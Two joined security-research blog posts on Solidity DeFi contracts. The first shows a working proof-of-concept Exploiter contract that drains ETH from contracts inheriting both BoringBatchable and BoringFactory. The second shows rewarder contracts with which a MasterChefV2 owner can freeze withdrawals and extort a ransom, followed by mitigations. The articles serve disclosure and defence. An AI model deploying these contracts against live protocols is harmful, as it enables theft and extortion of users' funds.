contract ThisCanBeDrainedOfETH is BoringBatchable, BoringFactory {}

That is to say, any contract that inherits both BoringBatchable and BoringFactory can be drained of all ETH by anyone. We’ll discuss below how it works, but if you want to try to figure it out yourself, you can find the BoringBatchable contract here and the BoringFactory contract here.

BoringBatchable and samczsun’s save

The BoringSolidity contracts are a suite of contracts -- akin to OpenZeppelin Contracts -- that can be used to add commonly needed functionality to your own contracts. The suite is popular in some DeFi circles.

The BoringBatchable contract allows a caller to batch together several calls to the inheriting contract and have them all executed in a single transaction -- saving gas and improving UX. This is achieved via the batch function, which loops over the user’s calls and causes the contract to delegate call into itself to perform each of the calls.

Critically, the batch function is payable, meaning that for every delegatecall in the loop, mgs.value is potentially a positive number: the amount of ETH that was originally sent when calling the batch function. This means that the user may be able to spend the same ETH more than once during a batch.

(Yes, this is itself a footgun, and a now-famous one. But it’s not the footgun this article is about.)

This was brought to light in spectacular fashion when samczsun discovered it in an auction contract related to a SushiSwap’s MISO fund raise (and subsequently helped save over 109k ETH).

The discovery did lead to a change in the BoringBatchable contract, but it’s not the change you might have expected. The change wasn’t to make the batch function non-payable. It was to add the following warning in a comment above the batch function that we must hope devs will read:

Combining BoringBatchable with msg.value can cause double spending issues

Suspecting that some devs who used the library won’t have read the warning, I set out looking for any contracts that inherit BoringBatchable and use msg.value anywhere in their code.

And that’s when I noticed that BoringSolidity‘s very own BoringFactory contract lets anyone forward msg.value ETH to a contract they can control. This means that the BoringFactory contract can be used in conjunction with BoringBatchable to drain any contract that inherits them both.

BoringFactory as an ETH-forwarder

The BoringFactory contract is a straightforward contract that allows any caller to deploy a copy of any contract that they want, and have msg.value ETH sent from the BoringFactory contract to the newly deployed contract’s init function.

So, for example, one could deploy the following contract:

contract MasterContractToClone is IMasterContract {
  function init(bytes calldata data) external override payable { 
    payable(tx.origin).transfer(address(this).balance);
  }
}

Then, any call to BoringFactory’s deploy function that passes in the address of the above contract as the masterContract will result in msg.value ETH being sent to the top-level caller (tx.origin in this case).

Putting it all together

So suppose we have a contract that inherits both BoringBatchable and BoringFactory:

contract ThisCanBeDrainedOfETH is BoringBatchable, BoringFactory {}

How do we drain it?

We start by deploying the following Exploiter contract:

interface IExploitable {
  function batch(bytes[] calldata calls, bool revertOnFail) external payable;
}

contract Exploiter {
  bytes[] public calls;

  // you'll end up stealing 10x the amount of your msg.value, assuming the 
  // exploitable contract holds that much.
  function exploit(address _exploitableContract) external payable {
    require(msg.value > 0, "must send some ETH");
    
    // deploy MasterContractToClone
    address masterContractToClone = address(new MasterContractToClone());

    // set calls for batch
    delete calls;
    bytes memory data = "0x123456";
    bytes memory _data = abi.encode(masterContractToClone, data, false);
    bytes memory call = abi.encodePacked(bytes4(keccak256(bytes("deploy(address,bytes,bool)"))), _data);
    for (uint256 i = 0; i < 11; i++) {
      calls.push(call);
    }

    // exploit batch + deploy functions
    IExploitable(_exploitableContract).batch{value: msg.value}(calls, true);
  }
}

Then we simply call the Exploiter.exploit function, sending along some non-zero amount of ETH. The result is that, at the end of the transaction, the caller will have received 10x the amount of ETH they sent to the call (but no more than the vulnerable contract originally held, of course).

You can play around with this yourself in Remix using this proof-of-concept code.

Wait, why is this fun?

This is a dangerous footgun. But as a security researcher, it was a fun one because it revealed a blindspot in my own thinking. BoringBatchable, by itself, is not broken. (It’s a hell of a footgun all on its own, but by itself it doesn’t introduce any critical vulnerabilities). The same is true of BoringFactory. But when you combine these two contracts -- from the same contract suite! -- they create a theft-of-ETH vulnerability that can be exploited by anyone. This isn’t something I’d seen before, where two contracts from the contract contract suite are independently safe, but unsafe to use together.

Who’s affected?

I used Etherscan's search contract feature to find projects with this vulnerability present. I found only two such projects that are actively used -- SushiSwap's BentoBoxV1 and Abracadabra.Money: Degenbox (these are near duplicates of each other).

Neither of these have any meaningful amount of ETH in the them, and both are designed not to hold any ETH. Additionally both could be drained of ETH in other, in-protocol (intended) ways if needed.

So as far as I can tell, no funds are currently at risk with this vulnerability. Hopefully this article helps keep it that way. :)

If you found this helpful, please consider contributing to my security spot checks project.

Stay safe out there. Cheers!

As you you might imagine, I've seen countless forks of MasterChef -- both its original incarnation and its official second version, MasterChefV2. I've seen all manner of shenanigans and optimizations, but this article is about a property of the official MasterChefV2 and any fork that remains faithful to its original functionality.

One benefit of the original MasterChef is that the owner of the contract cannot steal a user's principal, even if the owner were malicious. A malicious owner might be able to mess with a user's rewards, but they could never prevent a user from getting back the LP tokens they had initially invested. For example, with the original MasterChef, a user can always call the emergencyWithdraw function to retrieve their LP tokens, and there is nothing in the world that the owner of the MasterChef contract can do to prevent that.

By contrast, the owner of a MasterChefV2 contract can freeze any user's principal at will. This freezing can be parlayed into a ransom attack, whereby users are able to remove their principal from MasterChefV2 if and only if they've paid the owner a ransom.

This property of MasterChefV2 means that I always have to perform additional safety checks (discussed below) on the owner and the values/addresses they set in MasterChefV2. It also means the client/user needs to make sure they have good alerting set up to catch any shenanigans the owner may try to pull.

How it works: The Freeze

The key to freezing user’s funds is the “set” function, which the owner can call at any time, including after a pool has been initialized and users have deposited LP tokens. The set function allows the owner to assign a rewarder to a pool (or update a pool's rewarder if it already has one). The rewarder is a contract that implements a mutable “onSushiReward” function, which can be anything the owner wants.

This function on the rewarder is called during both the “withdraw” function and the “emergencyWithdraw” function -- which are the only two functions that a user can call to get their LP tokens out of the contract.

To freeze all users’ LP tokens for a given pool, the owner can call the set function and set the rewarder of the pool to be the following contract:

contract BadRewarder {
  function onSushiReward(...) external {
    revert('lulz');
  }
}

The result would be that all user's attempts to withdraw would result in a reverting transaction.

If so desired, the owner can make the freeze selective, singling out individual users, by setting the rewarder to a contract like this:

contract SelectiveFreezer {
  mapping (address => bool) public isFrozen;

  function setIsFrozen(address _user, bool _isFrozen) external onlyOwner {
    isFrozen[_user] = _isFrozen;
  }

  function onSushiReward(...) external {
    if (isFrozen[user]) revert('lulz');
  }
}

How it works: The Ransom

It is commonly the case that a DoS attack, like the above "freeze" attack, can be parlayed into a ransom attack. It’s just the old “pay me and I’ll stop DoS-ing you“ bit, but in smart contract form.

A malicious MasterChefV2 owner could set the rewarder to be a contract similar to this one:

contract Ransom {
  uint256 constant public requiredRansom = 1 ether;
  mapping (address => bool) public hasPaidRansom;

  function payRansom() external payable {
    require(msg.value >= requiredRansom, 'send more money');
    hasPaidRansom[msg.sender] = true;
  }

  function onSushiReward(...) external {
    if (!hasPaidRansom[user]) revert('must pay ransom');
  }

  function collectRansom() external onlyOwner {
    payable(owner).transfer(address(this).balance);
  }
}

The malicious owner would then need to verify this contract on Etherscan, and then transfer ownership of the MasterChefV2 instance to the zero address.

The result is that users would be able to withdraw their LP from MasterChefV2 if and only if they pay a 1 ETH ransom.

Note that this is just a simple example, and the malicious rewarder could be made to scale its ransom based on the amount of LP tokens the user had deposited in MasterChefV2.

Mitigation

This property of MasterChefV2 means that users must trust the owner. As a result, I always have to perform checks that the owner is, for example, an instance of the Timelock contract with a reasonable value for MINIMUM_DELAY, and that the client/user always has good alerting set up to be notified if/when the owner tries to make a change to the MasterChefV2 fork. It also means that I need to check the current rewarder (if any) before the user apes into the pool.

For honest developers who are forking MasterChefV2, I recommend removing the _rewarder.onSushiReward call from the emergencyWithdraw function. The emergencyWithdraw function should be a clear path for users to exit without any possibility of a malicious owner stopping them. (Note that a try/catch could work here, but you would need to be sure not to forward too much gas to the potentially-malicious rewarder, which could otherwise burn enough gas so that the subsequent safeTransfer would always fail). If you don’t make this contract-level fix, then be sure to make the owner an instance of the Timelock contract with a reasonable minimum delay (e.g., 2 days or more).

For users aping into these MasterChefV2 forks, be sure to check for all the things that I do:

• Owner should be Timelock with a good minimum delay.

• If any rewarder is currently set for your pool, it should be verified on Etherscan and its onSushiReward function should have no possibility of reverting or burning a ton of gas.

• You should have monitoring and alerting set up (e.g., via Etherscan, Tenderly, Forta, etc) so you are notified anytime a change gets queued up in the Timelock, that way you can exit MasterChefV2 before a malicious rewarder gets dropped into your pool.

If you found this helpful, please consider contributing to my security spot checks project.

Stay safe out there. Cheers!